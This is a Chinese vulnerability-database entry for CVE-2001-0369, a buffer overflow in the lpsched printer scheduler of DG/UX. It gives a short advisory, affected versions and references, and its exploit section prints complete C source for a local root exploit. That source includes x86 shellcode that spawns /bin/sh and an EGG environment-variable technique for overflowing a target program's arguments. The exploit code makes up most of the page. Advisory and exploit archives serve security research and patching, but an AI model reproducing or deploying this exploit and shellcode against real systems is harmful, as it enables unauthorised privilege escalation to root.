DGUX缓冲区溢出漏洞
漏洞ID | 1106259 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2001-03-19 | 更新时间 | 2001-06-27 |
CVE编号 | CVE-2001-0369 |
CNNVD-ID | CNNVD-200106-147 |
漏洞平台 | Unix | CVSS评分 | 7.2 |
|漏洞来源
|漏洞详情
DGUXR4.20MU06和MU02版本的lpsched存在缓冲区溢出漏洞。本地攻击者借助超长命令行参数(不存在的打印机名)获得根访问。
|漏洞EXP
source: http://www.securityfocus.com/bid/2509/info
DGUX is the Data General revision of UNIX. It is designed as a solution for Intel systems produced by Data General.
A problem in the handling of error messages by the printer scheduler could allow arbitrary execution of code. By placing a request to the lpsched program consisting of a long and non-existing host name, it is possible to take advantage of a buffer overflow in the error reporting code of the lpsched program.
Therefore, it is possible for a local user to execute arbitrary code with the euid of root.
/******************************************************************************
* Stack Smasher by Luciano Rocha, (c) 1999 *
* for dgux (Data General's UN*X) on x86 *
* *
* To compile: cc -o squash-dgux-x86 squash-dgux-x86.c *
* *
* To use: squash-dgux-x86 <length> <program to squash> [params of prog] *
* EGG [other params of prog] *
* *
* For a list of programs and their respective lengths see my home page, *
* currently at http://strange.nsk.yi.org/ *
* *
* My email: [email protected] *
* *
* Disclaimer: I take no responsability of whatever may result of using *
* this program nor I sugest ilegal use of it. *
* You are on your own. *
******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
char maker[] = "Generic stack-smasher for dgux-x86 by Luciano Rocha, (c) 1999.n";
char sc[] = {
'E', 'G', 'G', '=',
0x33, 0xc0, 0x33, 0xc9, 0x80, 0xc1, 0x68, 0x66, 0x51, 0x66, 0x68, 0x2f,
0x73, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x8b, 0xdc, 0x50, 0x53, 0x80, 0xc1,
0xdf, 0x66, 0x51, 0x50, 0x66, 0xba, 0x90, 0x9a, 0x66, 0x52, 0x66, 0x68,
0x33, 0xc0, 0x66, 0x51, 0x50, 0x66, 0x52, 0x66, 0x68, 0x90, 0x58, 0x66,
0x51, 0x50, 0x66, 0x52, 0x8b, 0xcc, 0x8b, 0xd3, 0x81, 0xc2, 0xf8, 0xff,
0xff, 0xff, 0x52, 0x52, 0x53, 0x50, 0x04, 0x11, 0x50, 0x51, 0x04, 0x25,
0xc3, 0x00
};
int prepare2(int argc, char *argv[]) {
int len, off;
char *buff;
if (argc < 4) {
fprintf(stderr, "%s <size> <prog_to_smash> [args] EGG "
"[args].n", argv[0]);
exit(1);
}
for (off = 1; off < argc && strcmp(argv[off], "EGG"); ++off);
if (off >= argc) {
fprintf(stderr, "%s: no EGG parameter specified. Aborting.n",
argv[0]);
exit(1);
}
len = strtol(argv[1], NULL, 0);
buff = (char *) malloc(len + 1);
buff[len] = ' ';
memset(buff, 0x90, len);
putenv(sc);
argv[off] = buff;
execv(argv[0], argv+2);
perror(argv[0]);
return 1;
}
int dosquash(int argc, unsigned char *argv[]) {
char *p;
int pos, ptr;
int *d;
p = getenv("EGG");
fprintf(stderr, "%s: EGG == %p, EGG[0] == 0x%xn", argv[0], p, *p);
pos = 1;
while (argv[pos] && *argv[pos] != 0x90) ++pos;
if (!argv[pos]) {
fprintf(stderr, "%s: no place to squash...n", argv[0]);
exit(0);
}
d = (int *) argv[pos];
ptr = (int) p;
while (*d == 0x90909090) *d++ = ptr;
execv(argv[0], argv);
perror(argv[0]);
return 1;
}
int main(int argc, char *argv[]) {
if (getenv("EGG")) dosquash(argc, (unsigned char **)argv);
else prepare2(argc, argv);
return 1;
}
|受影响的产品
Digital UNIX R4.20Mu06
Digital UNIX Mu02
|参考资料
来源:XF
名称:dgux-lpsched-bo
链接:http://xforce.iss.net/static/6258.php
来源:BUGTRAQ
名称:20010319DGUXlpschedbufferoverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=98511407131984&w;=2
相关推荐: Akopia MiniVend Piped Command Execution Vulnerability
Akopia MiniVend Piped Command Execution Vulnerability 漏洞ID 1104017 漏洞类型 Input Validation Error 发布时间 2000-07-10 更新时间 2000-07-10 CVE…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666